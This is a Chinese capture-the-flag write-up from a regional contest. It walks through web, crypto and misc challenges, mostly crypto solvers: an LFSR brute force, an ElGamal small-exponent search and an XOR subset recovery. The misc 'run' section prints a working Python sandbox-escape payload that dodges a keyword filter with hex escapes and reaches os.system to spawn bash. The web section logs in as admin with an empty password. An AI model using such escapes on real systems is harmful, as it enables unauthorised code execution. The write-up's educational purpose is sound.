前言
渣渣队伍，拿了个华中第五。pwn、re和apk一道没做出来……
Web
easyweb
题目链接：
http://114.116.26.217/
登进去是一个登录界面
垃圾题目，一开始环境都出错，注册不了，对着题目撸了半个小时无果。后来发了个公告修复了。
说出来你可能不信，这道题我是这样做出来的——注册一个普通用户，登录后提示没有管理员权限，看来肯定是要用admin的身份登录了啊。于是我用admin+admin登录，没想到成功了……（过了一会儿使用admin+admin就登不了，提示密码错误），然后匆匆的截了个图：
看到没，直接出flag，然而用这个提交死活不对。我想难道是思路不对，看cookie使用的是jwt，然后对着jwt日了一上午，想伪造成admin身份登录，都没成功。。放弃了，把另一个crypto先做了出来。
睡了一觉后，我想，是不是flag提交的格式不对啊，于是我把flag{xxxxx}这种形式换成了ciscn{xxxxx}，神奇的事发生了，竟然成功了23333333
令人窒息的操作
下面是从其他人学到的正经的解法：
直接登录，密码为空：
然后就登录成功了也是没谁了：
至此，web题目就与我无缘了，剩下两道神仙去做吧。
Crypto
flag in your hand
这是一道js解密的题目：
发现checkToken函数数里返回的s==="FAKE-TOKEN",使用这个字符串却得到wrong，而且ic后面被更改了，当时很奇怪
后面跟着bm函数一路跟到这里：
在ck函数里，ic的值又被更改了，所以要想ic最终为true，只需要满足判断条件即可。可以写个python代码解出来：
a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 121]
res = ""
for i in a:
res += chr(i - 3)
print(res)
结果：
res = security-xbv
于是得到flag：
oldstreamgame
下载下来有两个文件，一个是key，一个是py文件，key里面的内容转成16进制如下：
20FDEEF8A4C9F4083F331DA8238AE5ED083DF0CB0E7A83355696345DF44D7C186C1F459BCE135F1DB6C76775D5DCBAB7A783E48A203C19CA25C22F60AE62B37DE8E40578E3A7787EB429730D95C9E1944288EB3E2E747D8216A4785507A137B413CD690C
正好有100个。
py文件代码：
flag = "flag{xxxxxxxxxxxxxxxx}"
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==14
def lfsr(R,mask):
output = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
R=int(flag[5:-1],16)
mask = 0b10100100000010000000100010010100
f=open("key","w")
for i in range(100):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close()
一开始对着lfsr看，盯了一会累个半死也没看出什么门道，后来研究了一下。发现flag长度必须为14，除去flag{}这6个字符，那么只剩下了8个，完全可以暴破啊！
对于某次暴破，如何判断它成功了呢？
我们可以看代码的最后八行，对flag，它做了一百次循环，每次循环都产生一个结果，并将这个结果写到key里面去，所以key里面总共有一百个16进制数字。
每一次暴破，在循环的时候，都要将产生的结果与key里面对应的值进行比较，如果不相等，直接pass掉，肯定是错误的。最终100个16进制完全匹配的才是正确的结果。
暴破代码如下：
import multiprocessing
import os
flag = "flag{xxxxxxxx}"
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==14
def lfsr(R,mask):
output = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b10100100000010000000100010010100
string="20FDEEF8A4C9F4083F331DA8238AE5ED083DF0CB0E7A83355696345DF44D7C186C1F459BCE135F1DB6C76775D5DCBAB7A783E48A203C19CA25C22F60AE62B37DE8E40578E3A7787EB429730D95C9E1944288EB3E2E747D8216A4785507A137B413CD690C"
res=[]
for i in range(0,200,2):
res.append(int(string[i:i+2],16))
def cal(i,tag):
ii=i
while True:
ii+=1
R = ii
found = True
for x in range(100):
tmp = 0
for j in range(8):
(R, out) = lfsr(R, mask)
tmp = (tmp << 1) ^ out
if tmp!=res[x]:
found=False
break
if found:
os.system("echo %d >> /tmp/result" % ii)
if ii % 2 ** 20 == 0:
print('[Process%d]: now %d' % (tag, ii))
if ii > 2 ** 28 * (tag + 1):
print('[Process%d]: not found.' % tag)
break
if __name__=="__main__":
ps=list()
for i in range(0,16):
pp = multiprocessing.Process(target=cal, args=((int(i * 2**28),i)))
pp.start()
ps.append(pp)
在mac上跑16个线程差点冒烟了，换到实验室7w多的工作站上，跑了不到一个小时跑出来了：
跑出来是i的值是2455896535
将其转为16进制值：
res=2455896535
print(hex(res))
将结果用flag{}包起来，提交就可以了。
下面都是队里其他人做出来的：
crackme-c
Flag字符串长度为16，对字符串进行9轮下列处理：变换字符顺序->四个字符一组，经过处理生成一个新的4个字符组。 之后再变换一次字符顺序。 最后得到的16个8位数字，每个字符对应一个十六进制数在该数据组中的位置。 将上述过程逆序即可求出原始flag.
crackme-java
题目如下：
import java.math.BigInteger;
import java.util.Random;
public class Test1 {
static BigInteger two =new BigInteger("2");
static BigInteger p = new BigInteger("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711");
static BigInteger h= new BigInteger("7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916");
/*
Alice write the below algorithm for encryption.
The public key {p, h} is broadcasted to everyone.
@param val: The plaintext to encrypt.
We suppose val only contains lowercase letter {a-z} and numeric charactors, and is at most 256 charactors in length.
*/
public static String pkEnc(String val){
BigInteger[] ret = new BigInteger[2];
BigInteger bVal=new BigInteger(val.toLowerCase(),36);
BigInteger r =new BigInteger(new Random().nextInt()+"");
ret[0]=two.modPow(r,p);
ret[1]=h.modPow(r,p).multiply(bVal);
return ret[0].toString(36)+"=="+ret[1].toString(36);
}
/* Alice write the below algorithm for decryption. x is her private key, which she will never let you know.
public static String skDec(String val,BigInteger x){
if(!val.contains("==")){
return null;
}
else {
BigInteger val0=new BigInteger(val.split("==")[0],36);
BigInteger val1=new BigInteger(val.split("==")[1],36);
BigInteger s=val0.modPow(x,p).modInverse(p);
return val1.multiply(s).mod(p).toString(36);
}
}
*/
public static void main(String[] args) throws Exception {
System.out.println("You intercepted the following message, which is sent from Bob to Alice:");
System.out.println("a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco==2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc");
System.out.println("Please figure out the plaintext!");
}
}
//a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco==2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc
分析代码可知，该算法弱点在r上，使用爆破程序运算出r的值，而后带入进行普通的加减乘除即可得到flag。
python解法：
import multiprocessing
from time import sleep
import os
i = 0
p = int("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711")
c1 = int('a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco', 36)
def cal(i, p, c1, tag):
ii = i
print ("[Process%d]: start from %d" % (tag, ii))
r = 2 ** i
while True:
r = (r * 2) % p
ii += 1
if r == c1:
print ii
os.system("echo %d >> /tmp/result" % ii)
if ii % 2**20 == 0:
print('[Process%d]: now %d' % (tag, ii))
if ii > 2 ** 28 * (tag+1):
print('[Process%d]: not found.' % tag)
break
# sleep(0.1)
print('[Process%d]: exited!' % tag)
ps = list()
for i in range(0,16):
pp = multiprocessing.Process(target=cal, args=((int(i * 2**28), int(p), int(c1), i)))
pp.start()
ps.append(pp)
h = int("7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916")
p = int("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711")
def base36encode(number, alphabet='0123456789abcdefghijklmnopqrstuvwxyz'):
"""Converts an integer to a base36 string."""
if not isinstance(number, (int, long)):
raise TypeError('number must be an integer')
base36 = ''
sign = ''
if number < 0:
sign = '-'
number = -number
if 0 <= number < len(alphabet):
return sign + alphabet[number]
while number != 0:
number, i = divmod(number, len(alphabet))
base36 = alphabet[i] + base36
return sign + base36
c1 = int('a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco', 36)
c2 = int('2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc', 36)
r = int('152351913')
if c1 == pow(2, r, p):
print('check pass!')
print(base36encode(c2/pow(h,r,p)))
sm
题目代码：
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
from random import randint
def gen512num():
order=[]
while len(order)!=512:
tmp=randint(1,512)
if tmp not in order:
order.append(tmp)
ps=[]
for i in range(512):
p=getPrime(512-order[i]+10)
pre=bin(p)[2:][0:(512-order[i])]+"1"
ps.append(int(pre+"0"*(512-len(pre)),2))
return ps
def run():
choose=getPrime(512)
ps=gen512num()
print "gen over"
bchoose=bin(choose)[2:]
r=0
bchoose = "0"*(512-len(bchoose))+bchoose
for i in range(512):
if bchoose[i]=='1':
r=r^ps[i]
flag=open("flag","r").read()
key=long_to_bytes(int(hashlib.md5(long_to_bytes(choose)).hexdigest(),16))
aes_obj = AES.new(key, AES.MODE_ECB)
ef=aes_obj.encrypt(flag).encode("base64")
open("r", "w").write(str(r))
open("ef","w").write(ef)
gg=""
for p in ps:
gg+=str(p)+"\n"
open("ps","w").write(gg)
run()
分析代码可知order均不等得到，因此读取ps最后一个1出现位置均不同，通过与r异或是否为0判断某一位是否为1，由此可以组成bchoose，进而运算出得到choose，解密即可
部分代码如下:
path=r"C:\Users\Silver\Desktop\sm\\"
r=open(path+"r","r").read()
ef=open(path+"ef","r").read()
# ef=ef.decode("base64")
ps=open(path+"ps").readlines()
#aes_obj.encry(flag)
import os
import base64
print(ef)
ef=base64.b64decode(ef)
print(ef)
5eFo3ANg2fu9LRrFktWCJmVvx6RgBFzd0R8GXQ8JD78=
b'\xe5\xe1h\xdc\x03`\xd9\xfb\xbd-\x1a\xc5\x92\xd5\x82&eo\xc7\xa4`\x04\\\xdd\xd1\x1f\x06]\x0f\t\x0f\xbf'
['ef', 'ps', 'r', 'sm.py']
for k in ps:
if(bin(int(k,10))[-3]=='1'):
print(bin(int(k,10)))
print(bin(int(r,10)))
0b11001100000101001010010100000101001010001011011100011001011011011010001011010001100110101100000101111111101101111110111110010001110100100100101011011101101100001111011001101011111001100100110000011001100000010011111100100101011010111000100100111101011110000100010011000111110101001001110101011100110001101000011010000010011111011001101010111001111010011101110100100100111000100000011111111101101010110011100110110010001011001111010010011001010100110001001111010100000111010110010101111110101111001001000101100100
0b10111101011111001000011010001000001010101111110001001111110100000111011010001111101010100101110001100110101110100001010001001010100101100001110100000111010011011010101010111010100111001100100010010101111000101010111101011011111000011001100100011001000001111010101111001110110111111101011010100001001110100010111111000111110111001110000100010011001101110100110011001000011001110011100000000100110100110110011100011011001000011001100100000110110110110110010111001100011111001100001001000100001010111011010010111111
0b11010111111011101110011101000000000011000101110011101111101011011100000111100100000010110010001010101000001111101000010101011111111101110011000000001001011101100011011110011110001000100110011101000110011001111000011101011101001100000001001110000011011010100100010101000010111001010111010111100011010011000101000001000110110001000110010111010001100011010111100111110000010000011001010111011011011100011000111010010100101110000010000001100111111000111011001010010010110001100110001101001010101101010110011100110110
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
psre=[]
for k in ps:
t=bin(int(k,10))
psre.append(t)
# bchoose[0]=1
l=[]
for i in psre:
if i.rfind('1') not in l:
l.append(i.rfind('1'))
else:
print('error')
print(i.rfind('1'))
bchoose=[0 for _ in range(512)]
print(bchoose)
r2=int(r,10)
for i in range(512):
rre=bin(r2)
rre='0'*(512-len(rre))+rre
# print(r)
ii = rre[-i-1]
if(ii=='1' or ii==1):
sub='1'+'0'*i
for z in range(512):
if psre[z][-i-1:]==sub:
bchoose[z]=1
r2=r2^int(ps[z],10)
break
print(bchoose)
i=0
for k in range(512):
if bchoose[k] ==1:
i=i^int(ps[k],10)
print(i==int(r,10))
print(bin(i))
print(bin(int(r,10)))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1]
True
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
print(bchoose)
choose=0
for i in range(512):
choose=choose*2+bchoose[i]
print(choose)
[1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1]
11400599473028310480620591074112690318799501642425666449519888152497765475409346201248744734864375690112798434541063767944755958258558428437088372812844657
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
from random import randint
key=long_to_bytes(int(hashlib.md5(long_to_bytes(choose)).hexdigest(),16))
aes_obj = AES.new(key, AES.MODE_ECB)
aes_obj.decrypt(ef)
b'flag{shemir_alotof_in_wctf_fun!}'
MISC
Picture
使用Binwalk对图片进行分析
打开第一个文件，显然是base64编码，将内容转换成红线下内容：
image.png
观察可知是修改了zip文件头的文件，修复后即可用winrar打开，打开后发现该数据包为加密数据包，密码在注释中有提示。 本地python复现错误提示后获取密码，打开文件。 发现是uuencode编码，解密即可。
image.png
image.png
验证码签到
登录进去就是flag
run
使用nc登陆系统
沙箱逃逸惯用套路。
g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0] .__repr__.im_func
提示cat被禁止，于是使用十六进制转义(或字符串拼接)
g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "\x63\x61\x74ch_warnings"][0] .__repr__.im_func
而后得到了repr()函数，进而通过一系列操作摸到os中的system函数，最终的poc如下.
g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "\x63\x61\x74ch_warnings"][0] .__repr__.im_func.__getattribute__('func_global\x73')['linecache'].__getattribute__('o\x73').__getattribute__('\x73y\x73ytem')
g('bash')
得到shell，ls文件，cat出flag提交.
